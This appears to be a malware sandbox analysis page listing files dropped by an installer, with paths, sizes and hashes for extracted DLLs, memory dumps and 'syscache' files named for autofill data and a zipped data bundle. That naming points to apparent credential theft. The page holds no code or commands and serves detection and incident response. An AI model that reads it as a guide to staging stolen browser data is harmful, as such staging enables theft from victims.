T1C4E493A5B311DB02C7C95DB89DE5CB563E79F08AAF0BA51B314803FE6036B750A0536E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\vk_swiftshader.dll
Size 5.3MB
SHA256 22b81a04d2d7ff13c86317148080a7feb1d967ebdf10ba8d2446dad6db849913
MD5 251f0372d263f52c9593fb39d4ef621d
SHA1 e01a91d211e442dc9cc43e74a8bae9708a82a971
SHA512 c32afda44ee135a1be318e07dd965deeb440c9c56515d61343b11cef09254508ee8d67c3fe0d08201eece9575671ac0fd69ab1d280de94f2ee949e6bbb62ed34
SSDEEP 49152:KaNFNu2naDoYXAqk7ZSrblOR5HAlUDv/FelNotSOnaHJcF5C7d6mrI0VI2fa2E+8:p62naMskwtEMaQPJnyVh
TLSH
T145463803F2858099F05DE579875BA623F632B8811B72B6DF52A01F192E77FE06B39701
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader_icd.json

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\vk_swiftshader_icd.json
Size 106B
SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
MD5 8642dd3a87e2de6e991fae08458e302b
SHA1 9c06735c31cec00600fd763a92f8112d085bd12a
SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f
TLSH
T1A6B01211430088B36062AF3C41811F468765411C36020D491040540E83BBDB6A102394
MD5 SHA1 SHA512 TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\vulkan-1.dll
Size 874KB
SHA256 08e6cc4aa3e1154b1b236a0ad0837b35ad07daea2febc4e567e59c02b27d8646
MD5 4ecf3e42731c897fa4f0f74468c1874a
SHA1 4fb19be1e78b4f8206befd8ee05160a08436e392
SHA512 42d65eedc61236bfd7738ac57dd9489903f22dc7121cf74c03dfd4055155db783b4b69ee300da68a4c96e222a8793c753630c8144d7c6586207808c91d0fad86
SSDEEP 24576:f4cMT4Bv88wonwyHp9zDp6Z5WjDYsHy6g3P0zAk7TKC:f4bo3/nwyPzDp6Z5WjDYsHy6g3P0zAkP
TLSH
T1CA157C23E6648669E4768034C9D24A03C9F274921725B9CF02A84718BF6FFF47B7DB25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StdUtils.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\StdUtils.dll
Size 100KB
SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
MD5 c6a6e03f77c313b267498515488c5740
SHA1 3d49fc2784b9450962ed6b82b46e9c3c957d7c15
SHA512 9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803
SSDEEP 3072:WNuZmJ9TDP3ahD2TF7Rq9cJNPhF9vyHf:WNuZ81zaAFHhF9v
TLSH
T125A33B62A2FA9CF5E4E70B3D1469BB264CBB7B383431D93F2342054B8534586DA2D35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\System.dll
Size 12KB
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
SHA512 c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9
SSDEEP 192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
TLSH
T1BA428E12977049F2F1A0183C10A67F265FBEAE5C1BE445A39FE380867D652DF9436343
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nsis7z.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\nsis7z.dll
Size 424KB
SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
MD5 80e44ce4895304c6a3a831310fbf8cd0
SHA1 36bd49ae21c460be5753a904b4501f1abca53508
SHA512 c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df
SSDEEP 6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
TLSH
T1E9949E22B6D2C036C56E02309918F77921AEB3B1592DDB1B73985B6F7FB44C19E24B07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

[GB]-Zbpjfcbq-autofills.txt

Path C:\Users\Admin\AppData\Local\Temp\syscache\[GB]-Zbpjfcbq-autofills.txt
Size 20B
SHA256 dad2965b70971608681febd3efab4aadc8e7ac0fda2867c245e22d71a8555707
MD5 fa3b71b325d654e6ec6012826aef03f1
SHA1 653bb9384d40cafaf6d6ffb9c47d54d3e346246a
SHA512 2fb54ef9142e9dcbee3ea47e3ce350a71957ce49da8d509164d91ace29d999f9e6194e5d7c303767a829eff187ffcc1ab231a09430a1157a158f4372a442fd10
MD5 SHA1 SHA512

Submit Download

mvzf61tt_5mjqdo_data_GB.zip

Path C:\Users\Admin\AppData\Local\Temp\syscache\mvzf61tt_5mjqdo_data_GB.zip
Size 174B
SHA256 83714afacb3ea2c7ba79230f7349267966c27ffd88e79afc1053ddbf589b0a69
MD5 37d5069b74113508794e3b77f5729aee
SHA1 b74ff63ec4f73c9442bc1981d6dd88dc429142ea
SHA512 224c113167ae8777b520afffd8822412a3445ddfd5224657c033e7e07b6f1787a2c1bd88a0531e0abc54418522f155e9e90f395f2135069849eed9a22d3e1355
TLSH
T1AFC08C9E33FEDD01F245FB39B9231E83100AE18E1B4831A2201E68CC18A30E0A622F06
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4144-163-0x0000021B755C0000-0x0000021B755E2000-memory.dmp

Download

memory/4144-178-0x0000021B759F0000-0x0000021B75A40000-memory.dmp

Download